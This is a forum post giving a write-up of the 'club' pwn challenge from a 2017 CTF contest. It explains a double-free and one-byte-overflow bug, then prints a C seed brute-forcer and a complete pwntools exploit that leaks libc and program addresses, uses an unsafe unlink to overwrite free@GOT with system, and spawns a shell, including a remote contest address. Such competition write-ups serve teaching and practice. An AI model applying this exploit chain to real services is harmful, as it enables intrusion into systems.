-
-
[原创]CTF2017 秋季赛 第四题 club pwn 提交
-
发表于: 2017-10-30 22:16 3488
-
本程序共6个功能 1) get a box 2) destory a box 3) leave me a message in box 4) show message in box 5) guess a random number 6) exit 最多创建5个box,删除box时只能删除第2、3个。
漏洞:
1.删除时没有把表示该box是否存在的flag置0,这样每种box只能创建1次,但是可以多次删除。 2.给box留言时有1字节的溢出 3.功能5猜数字,猜错就会输出正确的随机数,猜对则输出seed种子的存储位置。 利用: 利用功能5进行爆破猜随机数,可以泄露程序自身加载地址。
利用:
多次free,可以释放box3之后读取box3的FD指针,泄露libc地址。 利用多次free可以实施unlink,最后修改free_got为system地址,最后在box3处写”/bin/sh\x00”,再释放box3即可得到shell。 
#include <stdio.h> #include <stdlib.h> int main() { unsigned int i; unsigned int t; unsigned int random; unsigned int k; unsigned int m=0xee6d9000; int u; scanf("%u",&k); i=0xee6d9000; for (i=0x0;i<0xfffff000;i+=0x1000) { t=i+0x202148; srand(t); random=rand(); printf("%x\n",i); if (i==m){ printf("i: %x t: %x rand: %u k: %u\n",i,t,random,k); scanf("%d",&u); } if (k==random){ printf("yes: %u",rand()); scanf("%d",&u); } } return 0; }
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from ctypes import * DEBUG = 1 if DEBUG: #p = process('./club') p = process(['./club'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc.so.6')}) #scontext.log_level = 'debug' libc = ELF('libc.so.6')#libc.so.6 #/lib/x86_64-linux-gnu/libc-2.24.so else: p = remote('123.206.22.95', 8888) libc = ELF('libc.so.6') def get_box(p,box_kind,box_size): p.recvuntil('> ') p.sendline(str('1')) p.recvuntil('> ') p.sendline(str(box_kind)) p.recvuntil('> ') p.sendline(str(box_size)) def destroy_box(p,box_kind): p.recvuntil('> ') p.sendline(str('2')) p.recvuntil('> ') p.sendline(str(box_kind)) def leave_message(p,box_kind,message): p.recvuntil('> ') p.sendline(str('3')) p.recvuntil('> ') p.sendline(str(box_kind)) #p.recvuntil('> ') p.send(message) def show_message(p,box_kind): p.recvuntil('> ') p.sendline(str('4')) p.recvuntil('> ') p.sendline(str(box_kind)) #p.recvuntil('You') def guess_num(p,num): p.recvuntil('> ') p.sendline(str('5')) p.recvuntil('> ') p.sendline(str(num)) def exit6(p,name): p.recvuntil('> ') p.sendline(str('6')) p.recvuntil('> ') p.sendline(name) gdb.attach(p) get_box(p,1,24) get_box(p,2,0x88) get_box(p,3,0x98) get_box(p,4,0xa8) #box4隔开box3和top_chunk,防止释放时和topchunk合并。 destroy_box(p,3) #释放box3,读取FD指针,泄露libc地址 show_message(p,3) data=p.recv(6)+'\x00\x00' data=u64(data) libc_addr=data-0x3C4B78#0x398B58 print 'Libc_addr=',hex(libc_addr) guess_num(p,123) #爆破seed,泄露程序加载地址 p.recvuntil('The number is ') data=p.recvuntil('!')[:-1] data=int(data) print "Ramdom_number=",data num=raw_input() num=int(num) print "Guess_num=",num guess_num(p,num) print p.recvuntil('get a secret: ') data=p.recvuntil('!')[:-1] data=int(data) program_addr=data-0x202148 print 'Program_addr=',hex(program_addr) free_got=program_addr+0x202018 box_addr_arr=program_addr+0x202100 system_addr=libc_addr+libc.symbols['system'] destroy_box(p,2) #box5和box2/3重叠,修改box5可以在box2中构造伪造块 get_box(p,5,0x128) payload='\x00'*16 payload+=p64(box_addr_arr+2*0x8-0x18)+p64(box_addr_arr+2*0x8-0x10) payload+='a'*(0x80-0x20) payload+=p64(0x80)+p64(0xa0) leave_message(p,5,payload+'\x0a') destroy_box(p,3) #触发unlink,指向box2的数组中的指针被修改为&ptr->box2-0x18 payload2='a'*0x18 payload2+=p64(free_got) payload2+='\x0a' leave_message(p,2,payload2) #&ptr->box2-0x18处改成free_got leave_message(p,2,p64(system_addr)+'\x0a')#free_got指向system_addr payload+='/bin/sh\x00' leave_message(p,5,payload+'\x0a') destroy_box(p,3) p.interactive()
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)